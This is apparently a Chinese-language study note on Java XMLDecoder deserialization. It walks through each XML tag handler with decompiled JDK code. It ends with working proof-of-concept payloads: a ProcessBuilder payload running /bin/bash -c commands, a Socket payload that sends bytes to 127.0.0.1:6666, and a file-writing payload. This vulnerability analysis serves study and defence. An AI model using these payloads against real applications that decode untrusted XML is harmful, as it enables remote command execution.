标签
java
-
标签内属性:class、id、version
//javaelementhandler继承于elementhandler,因此除了version、class还有id public void addAttribute(String var1, String var2) { if (!var1.equals("version")) { if (var1.equals("class")) { this.type = this.getOwner().findClass(var2); } else { super.addAttribute(var1, var2); } } }
-
可加载类
//含有findClass,类含有this.type,表示能将类加载进来 if (var1.equals("class")) { this.type = this.getOwner().findClass(var2); }
-
getValue与getValueObject没有直接的可利用点。getValue的返回值为null或者XMLDecoder对象,看标签内有没有写入class属性
//一般漏洞触发点是:getValueObject方法中调用了getValue方法,而getValue方法中实例化类、传参、调用函数 //而java标签对应的getValue方法里只是读取对象并返回 private Object getValue() { //this.getOwner()的值为DocumentHandler,DocumentHandler的getOwner()为XMLDecoder对象 Object var1 = this.getOwner().getOwner(); if (this.type != null && !this.isValid(var1)) { if (var1 instanceof XMLDecoder) { XMLDecoder var2 = (XMLDecoder)var1; var1 = var2.getOwner(); if (this.isValid(var1)) { //要么返回XMLDecoder的owner对象,默认为空 return var1; } } //要么出错 throw new IllegalStateException("Unexpected owner class: " + var1.getClass().getName()); } else { //要么返回XMLDecoder对象 return var1; } }
-
<java>标签之间的基础数据(如string)会写入DocumentHandler中的objects,基础数据值即为<java>标签的返回值</java></java>
protected void addArgument(Object var1) { this.getOwner().addObject(var1); }
array
-
标签内属性:length、class、id
//继承于NewElementHandler,因此还有class与id public void addAttribute(String var1, String var2) { if (var1.equals("length")) { this.length = Integer.valueOf(var2); } else { super.addAttribute(var1, var2); } }
-
可加载类,因为继承于NewElementHandler
-
getValueObject方法要么返回Object对象,要么返回Array类的实例化,因此无法起到像object标签的效果
protected ValueObject getValueObject(Class<?> var1, Object[] var2) { if (var1 == null) { var1 = Object.class; } if (this.length != null) { return ValueObjectImpl.create(Array.newInstance(var1, this.length)); } else { Object var3 = Array.newInstance(var1, var2.length); for(int var4 = 0; var4 < var2.length; ++var4) { Array.set(var3, var4, var2[var4]); } return ValueObjectImpl.create(var3); } }
-
标签返回值为Array类对象
<array class="test"> </array>
class
-
标签内无属性,值写在标签间
-
可加载类
@Override public Object getValue(String argument) { return getOwner().findClass(argument); }
-
getValue加载进类
-
标签返回值为Class 对象
<class>test</class>
object
-
标签内属性:class、method、property、field、index、id、idref
//继承于NewElementHandler public final void addAttribute(String var1, String var2) { if (var1.equals("idref")) { this.idref = var2; } else if (var1.equals("field")) { this.field = var2; } else if (var1.equals("index")) { this.index = Integer.valueOf(var2); this.addArgument(this.index); } else if (var1.equals("property")) { this.property = var2; } else if (var1.equals("method")) { this.method = var2; } else { super.addAttribute(var1, var2); } }
-
可加载类,继承于NewElementHandler
-
getValueObject方法中,若field、idref属性未加载,则可传入以下变量,并调用
- 类对象(object标签中的class对象 or 父标签返回的对象)
- object标签之间的部分标签作为方法参数
- 方法名(set or get or new or method)
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { ... else { //很关键,var3是传入的类对象 Object var3 = this.getContextBean(); String var4; //set or get方法 if (this.index != null) { var4 = var2.length == 2 ? "set" : "get"; } else if (this.property != null) { var4 = var2.length == 1 ? "set" : "get"; if (0 < this.property.length()) { //如property值为owner,则方法名var4为setOwner var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1); } } else { //方法名为method属性值 or new,new为类的构造方法 var4 = this.method != null && 0 < this.method.length() ? this.method : "new"; } //var3是传入的类对象、var4是方法名、var2是方法参数 Expression var5 = new Expression(var3, var4, var2); //getValue传参并调用 return ValueObjectImpl.create(var5.getValue()); } }
-
标签返回值为实例化对象
void
- 标签内属性:class、method、property、field、index、id、idref
- 可加载类,VoidElementHandler继承于ObjectElementHandler,ObjectElementHandler继承于NewElementHandler
- 继承于object,与object有极大的相似性。使用void标签,无论什么形式,都会进入object标签的getValueObject方法
- 返回值为空
new
-
标签内属性:class、id
public void addAttribute(String var1, String var2) { if (var1.equals("class")) { this.type = this.getOwner().findClass(var2); } else { super.addAttribute(var1, var2); } }
-
可加载类
-
getValueObject方法可传入以下变量,并实例化类
- 类
- 构造函数参数
ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { if (var1 == null) { throw new IllegalArgumentException("Class name is not set"); } else { //var2为构造函数参数 Class[] var3 = getArgumentTypes(var2); //获取类对应的构造函数 Constructor var4 = ConstructorFinder.findConstructor(var1, var3); if (var4.isVarArgs()) { var2 = getArguments(var2, var4.getParameterTypes()); } //实例化类 return ValueObjectImpl.create(var4.newInstance(var2)); } }
-
返回值为类对象
field
-
标签内属性:class、name、id
public void addAttribute(String name, String value) { if (name.equals("class")) { // NON-NLS: the attribute name this.type = getOwner().findClass(value); } else { super.addAttribute(name, value); } }
-
可加载类
-
若class属性在field标签中,得到的是Class对象,因而name只能是static的变量
<field class="test" name="hhh"></field>
若field标签之前得到的对象不是Class对象,则name不限制
<object class="test"> <field class="test" name="hhh"></field> </object>
private static Field findField(Object var0, String var1) throws NoSuchFieldException { //判断是否属于Class对象,是的话寻找类中的static变量,否则寻找类中的所有变量 return var0 instanceof Class ? FieldFinder.findStaticField((Class)var0, var1) : FieldFinder.findField(var0.getClass(), var1); }
-
返回值为变量对应的对象值
method
-
标签内属性:class、name、id
-
可加载类,继承于NewElementHandler
-
getValueObject方法中
- class属性存在,则加载class,调用class中的static方法,方法名为name属性值
- class属性不存在,则根据父标签得到Class对象,调用Class对象的方法(无限制),方法名为name属性值
protected ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception { Object var3 = this.getContextBean(); Class[] var4 = getArgumentTypes(var2); //var1为标签内的class属性,var3是父标签的Class对象 Method var5 = var1 != null ? MethodFinder.findStaticMethod(var1, this.name, var4) : MethodFinder.findMethod(var3.getClass(), this.name, var4); if (var5.isVarArgs()) { var2 = getArguments(var2, var5.getParameterTypes()); } Object var6 = MethodUtil.invoke(var5, var3, var2); return var5.getReturnType().equals(Void.TYPE) ? ValueObjectImpl.VOID : ValueObjectImpl.create(var6); }
-
返回值为调用函数的返回值
property
-
标签内属性:index、name、id
-
不可加载类
-
可调用setXXX和getXXX方法,name用作索引类中的成员变量,property标签之间表示传入setXXX的参数
-
setXXX方法使用
<object class="test"> <property name="xixixi"> <string>open /etc</string> </property> </object>
-
getXXX方法使用
<object class="test"> <property name="xixixi"> </property> </object>
-
byte
传入byte[]类型的时候,class不是java.lang.Byte
而是byte
<object class="java.net.Socket">
<string>127.0.0.1</string>
<int>6666</int>
<void method="getOutputStream">
<void method="write">
<array class="byte" length="2">
<void index="0">
<byte>49</byte>
</void>
<void index="1">
<byte>49</byte>
</void>
</array>
</void>
</void>
</object>
其余数据类型
var
null
short
int
long
float
double
boolean
true
false
char
string
XML基本语法
以下语句摘自参考链接
- 每个元素代表一个方法调用
- 包含元素的元素将这些元素用作参数,除非它们具有标记:“void”。(关键)
- 方法的名称由“method”属性表示。
- XML的标准“id”和“idref”属性用于引用先前的表达式 - 以便处理对象图中的圆形。
- 使用“array”标记写入对数组的引用。“class”和“length”属性分别指定数组的子类型及其长度。
其他
xmldecoder漏洞在getValueObject方法触发
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
<!-- endElementHandler结束标签并通过this.getValueObject()获取string标签内的数据:/bin/bash -->
</void>
<!-- endElementHandler结束标签,获取到父标签,即上一级标签 -->
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /Applications/Calculator.app</string>
</void>
</array>
<!-- endElementHandler结束标签,this.getValueObject()得到string数组 -->
<void method="start">
</void>
<!-- endElementHandler结束标签,this.getValueObject()调用方法 -->
</object>
若标签内存在id属性,则调用this.owner.setVariable(this.id, var1.getValue());
存入DocumentHandler的environment变量。
不存在id属性,则调用this.owner.addObject(var1.getValue());
存入DocumentHandler的objects变量。
这里的environment不清楚是做什么的,objects变量是标签的返回值。
public void endElement() {
ValueObject var1 = this.getValueObject();
if (!var1.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, var1.getValue());
}
if (this.isArgument()) {
if (this.parent != null) {
this.parent.addArgument(var1.getValue());
} else {
this.owner.addObject(var1.getValue());
}
}
}
}
xml简单利用
执行命令
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/Applications/Calculator.app/</string>
</void>
</array>
<void method="start">
</object>
使用套接字,连接127.0.0.1的6666端口并发送数据
<object class="java.net.Socket">
<string>127.0.0.1</string>
<int>6666</int>
<void method="getOutputStream">
<void method="write">
<array class="byte" length="2">
<void index="0">
<byte>49</byte>
</void>
<void index="1">
<byte>49</byte>
</void>
</array>
</void>
</void>
</object>
创建文件并写入
<object class="java.io.PrintWriter">
<void class="java.io.FileOutputStream">
<string>2.txt</string>
</void>
<string>2.txt</string>
<void method="print">
<string>xmldecoder_vul_test</string>
</void>
<void method="close"/>
</object>
没有评论